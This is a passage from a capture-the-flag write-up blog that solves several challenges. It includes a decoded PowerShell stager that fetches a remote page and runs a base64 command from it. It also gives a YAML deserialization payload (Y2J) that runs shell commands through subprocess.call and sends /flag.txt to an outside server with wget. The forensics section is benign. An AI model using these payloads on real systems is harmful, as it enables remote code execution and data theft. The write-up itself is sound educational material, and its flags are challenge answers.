base64_start = command_string.find('FromBase64String("') + len('FromBase64String("')
base64_end = command_string.find('")', base64_start)
base64_payload = command_string[base64_start:base64_end]
decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
print(decoded_payload)
That gave me this:
1
2
3
4
5
6
7
# $PORT below is dynamic to the running service of the `Start` button
@($html = (Invoke-WebRequest http://challenge.ctf.games:$PORT -Headers @{Authorization=("Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0")} -UseBasicParsing).Content
if ($html -match '<!--(.*?)-->') {
$value = $matches[1]
$command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))
Invoke-Expression $command
})
I then rewrote it into a curl command instead.
1
curl -H "Authorization: Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0" http://challenge.ctf.games:30713
Running the curl command gave me this output <!-- ZWNobyBmbGFne2UxNWE2YzAxNjhlZTRkZTczODFmNTAyNDM5MDE0MDMyfQ== -->
and from there I just used Cyberchef to convert the base64 encoded string.
Flag: flag{e15a6c0168ee4de7381f502439014032}
Y2J
Author: @JohnHammond#6971
Category: Web
Everyone was so worried about Y2K, but apparently it was a typo all along!! The real world-ending fears were from Y2J!
For this challenge, I experimented with various approaches but ultimately discovered a method that provided useful output for retrieving the flag. The entire challenge revolves around a simple page that converts YAML to JSON.
I set up a web server on a host provided by Hertner using the command python3 -m http.server 9000
to ensure it was accessible from the container.
When I executed the following code, the name in the JSON output returned 1
, indicating success:
1
2
3
4
5
6
7
8
9
10
11
12
name: !!python/object/apply:subprocess.call
- ["bash", "-c", "/usr/bin/curl -X GET http://[IPADRESSOFSERVER]:9000"]
age: 28
is_student: true
address:
street: 456 Maple Ave
city: Rivertown
zip: 67890
skills:
- C++
- Ruby
- HTML
In the server logs, I observed:
1
34.123.163.117 - - [29/Oct/2024 19:56:40] "GET / HTTP/1.1" 200 -
Next, I needed to modify the request to inject the contents of the flag.txt
file as a variable in the GET request. I updated the code as follows:
1
2
3
4
5
6
7
8
9
10
11
12
name: !!python/object/apply:subprocess.call
- ["bash", "-c", "wget -qO- http://[IPADRESSOFSERVER]:9000/$(cat /flag.txt)"]
age: 28
is_student: true
address:
street: 456 Maple Ave
city: Rivertown
zip: 67890
skills:
- C++
- Ruby
- HTML
In the server logs, this request generated the following entry:
1
34.123.163.117 - - [29/Oct/2024 19:59:05] "GET /flag{b20870a1955ac22377045e3b2dcb832a} HTTP/1.1" 404 -
Flag: flag{b20870a1955ac22377045e3b2dcb832a}
Ancient Fossil
Author: @JohnHammond
Category: Forensics
All things are lost to time…
For this challenge, we received a SQLite3 file named ancient.fossil
:
1
ancient.fossil: SQLite 3.x database (Fossil repository), last written using SQLite version 3046000, file counter 415, database pages 154, cookie 0x28, schema 4, UTF-8, version-valid-for 415
I started by opening it in sqlitebrowser
to examine its contents. Among the tables, the blob
table stood out with a lot of data, while the other tables didn’t reveal anything significant. I then proceeded to extract all data from the ancient.fossil
file using the following Python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import sqlite3
# Connect to the SQLite database
conn = sqlite3.connect('ancient.fossil')
cursor = conn.cursor()
# Execute the query to select the BLOB content
cursor.execute("SELECT content FROM blob WHERE content IS NOT NULL;")
# Fetch all results
results = cursor.fetchall()
# Write all BLOBs to separate files or one file, based on your needs
for index, result in enumerate(results):
blob_content = result[0]
# Write to a separate binary file for each BLOB
with open(f'output_{index}.bin', 'wb') as file:
file.write(blob_content)
# Close the database connection
conn.close()
After extracting the data, I tried identifying the file type by running file
on each output file, but each returned simply as data. To analyze further, I used binwalk
:
1
2
3
4
5
6
┌──(kali㉿kali)-[~/Downloads/ancient]
└─$ binwalk output_251.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
4 0x4 Zlib compressed data, default compression
The output indicated that it was likely zlib-compressed data, so I decompressed it using this script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
import zlib
# Directory containing the .bin files
directory = '.'
def decompress_file(file_path):
"""Decompresses a zlib-compressed file, skipping the first 4 bytes."""
with open(file_path, 'rb') as f:
f.seek(4) # Skip the first 4 bytes
compressed_data = f.read() # Read the rest of the file
try:
decompressed_data = zlib.decompress(compressed_data)
return decompressed_data.decode('utf-8', errors='ignore')
except zlib.error as e:
print(f"Decompression error in {file_path}: {e}")
return None
# Loop through each .bin file in the directory
for filename in os.listdir(directory):
if filename.endswith('.bin'):
file_path = os.path.join(directory, filename)
print(f"\nDecompressed output for {filename}:")
decompressed_content = decompress_file(file_path)
if decompressed_content:
print(decompressed_content)
The decompressed output mostly contained random strings and log entries, such as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Decompressed output for output_265.bin:
ZThlODUwYjJmYTNlODBhMDgxNTBkNTM3MjA2ZWVhYzYK
Decompressed output for output_570.bin:
C MTA4NWYwZmZkNWJmNzBhNmI5Y2U0M2VkZGFkODlhZWUK
D 2024-10-16T20:57:44.628
P 18d0b194528e99995e4b91c634200a58e92631168a35e9f3191bb227e1bb440d
R d41d8cd98f00b204e9800998ecf8427e
U kali
Z f2ded2bb841c7387694afa4a1ef9d7a7
Decompressed output for output_554.bin:
C MjFhMTliYzVkNzcyMTM0Mzg4NzkyNGI3YTg5YzQ3MWMK
D 2024-10-16T20:57:44.253
F MzUzMDViOTczNWIyZTVjYTAyMWQyOTEyMDM1NTkwNjgK a15efbaa4d2c6f87a39db2c6c6bac69e10b700c4ea98879ac1003fa57e85ee65
P c98af3a1fdce2548c52e0085088e71f5806900610cc4974e0c57257ecc8829c2
R 0abab2ce2f167e937bbd83720c655419
U kali
Z e043e7faa40294d7566b9331e0d83675
Decompressed output for output_514.bin:
NWI0NmVkNzg0NGZlNTkwODM0ZDZjODVhMWU0ZmU5ZjQK
I searched for the flag by running a grep
on the decompressed output and got lucky:
1
2
3
┌──(kali㉿kali)-[~/Downloads/ancient]
└─$ python3 decompress.py | grep flag
flag{2ed33f365669ea9f10b1a4ea4566fe8c}
Flag: flag{2ed33f365669ea9f10b1a4ea4566fe8c}